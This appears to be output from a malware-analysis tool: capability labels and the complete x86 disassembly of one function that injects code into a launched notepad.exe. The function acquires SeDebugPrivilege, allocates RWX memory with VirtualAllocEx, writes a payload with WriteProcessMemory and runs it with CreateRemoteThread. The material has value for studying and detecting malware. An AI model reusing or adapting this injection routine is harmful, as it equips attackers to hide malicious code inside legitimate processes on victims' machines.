Function at 0x1000a816
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
push edi
push 0x1004f378
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000a836
jmp 0x1000ad99
push 0x1004f384
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000a84c
jmp 0x1000ad99
mov dword [ebp - 0x4c], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x48]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
push 0x44
push 0
lea eax, [ebp - 0x4c]
push eax
call fcn.10011e70
add esp, 0xc
push 4
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.10011e70
add esp, 0xc
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], 0
mov dword [ebp - 0x4c], 0x44
push str.GetNativeSystemInfo
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000ab46
mov dword [ebp - 0x70], 0
mov ecx, 8
xor eax, eax
lea edi, [ebp - 0x6c]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x70]
push edx
call dword [ebp - 8]
mov eax, dword [ebp - 0x70]
and eax, 0xffff
cmp eax, 6
je 0x1000a90c
mov ecx, dword [ebp - 0x70]
and ecx, 0xffff
cmp ecx, 9
jne 0x1000ab41
push 0x1004f3b8
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000a922
jmp 0x1000ab41
push 0x1004f3c4
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000a938
jmp 0x1000ab41
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x214
push 0
push 0
push 0
push str.C:WindowsSysWOW64_notepad.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [0x10054cc8], edx
push 0x1004f3f0
call fcn.1000a727
add esp, 4
test eax, eax
je 0x1000a982
xor al, al
jmp 0x1000ad9b
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x1000a9a6
xor al, al
jmp 0x1000ad9b
push 0x114
push 0
lea edx, [ebp - 0x294]
push edx
call fcn.10011e70
add esp, 0xc
push 0x1004f404
push 0x1004f410
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x290], eax
push 0x1004f420
push 0x1004f428
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x294], eax
push 0x1004f438
push 0x1004f44c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [ebp - 0x288], eax
mov ax, word [0x10057e3c]
mov word [ebp - 0x17c], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x17a]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0xff
lea ecx, [ebp - 0x17c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x17c]
push edx
push 0xff
lea eax, [ebp - 0x280]
push eax
call fcn.1000d070
push 0x40
push 0x3000
push 0x114
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x1000aa97
xor al, al
jmp 0x1000ad9b
push 0
push 0x114
lea edx, [ebp - 0x294]
push edx
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000aabe
xor al, al
jmp 0x1000ad9b
push 0x40
push 0x3000
push 0x1000
push 0
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0
jne 0x1000aaec
xor al, al
jmp 0x1000ad9b
push 0
push 0x1000
push 0x1000a6d0
mov eax, dword [ebp - 0x180]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000ab14
xor al, al
jmp 0x1000ad9b
push 0
push 0
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x180]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x1000ab41
xor al, al
jmp 0x1000ad9b
jmp 0x1000ad99
push 0x1004f45c
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000ab5c
jmp 0x1000ad99
push 0x1004f468
call fcn.10008e2e
add esp, 4
test eax, eax
je 0x1000ab72
jmp 0x1000ad99
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x214
push 0
push 0
push 0
push str.C:Windows_notepad.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [0x10054cc8], edx
push str.SeDebugPrivilege
call fcn.1000a727
add esp, 4
test eax, eax
je 0x1000abbc
xor al, al
jmp 0x1000ad9b
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0
jne 0x1000abe6
xor al, al
jmp 0x1000ad9b
push 0x114
push 0
lea edx, [ebp - 0x4b8]
push edx
call fcn.10011e70
add esp, 0xc
push str.OpenProcess
push 0x1004f4ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4b4], eax
push str.WinExec
push 0x1004f4c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4b8], eax
push 0x1004f4d4
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4b0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [ebp - 0x4ac], eax
mov ax, word [0x10057e40]
mov word [ebp - 0x3a0], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x39e]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0xff
lea ecx, [ebp - 0x3a0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x3a0]
push edx
push 0xff
lea eax, [ebp - 0x4a4]
push eax
call fcn.1000d070
push 0x40
push 0x3000
push 0x114
push 0
mov ecx, dword [ebp - 0x298]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
jne 0x1000ace0
xor al, al
jmp 0x1000ad9b
push 0
push 0x114
lea edx, [ebp - 0x4b8]
push edx
mov eax, dword [ebp - 0x2a0]
push eax
mov ecx, dword [ebp - 0x298]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000ad0d
xor al, al
jmp 0x1000ad9b
push 0x40
push 0x3000
push 0x1000
push 0
mov edx, dword [ebp - 0x298]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
jne 0x1000ad3b
xor al, al
jmp 0x1000ad9b
push 0
push 0x1000
push 0x1000a6d0
mov eax, dword [ebp - 0x3a4]
push eax
mov ecx, dword [ebp - 0x298]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000ad63
xor al, al
jmp 0x1000ad9b
push 0
push 0
mov edx, dword [ebp - 0x2a0]
push edx
mov eax, dword [ebp - 0x3a4]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x298]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0
jne 0x1000ad99
xor al, al
jmp 0x1000ad9b
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret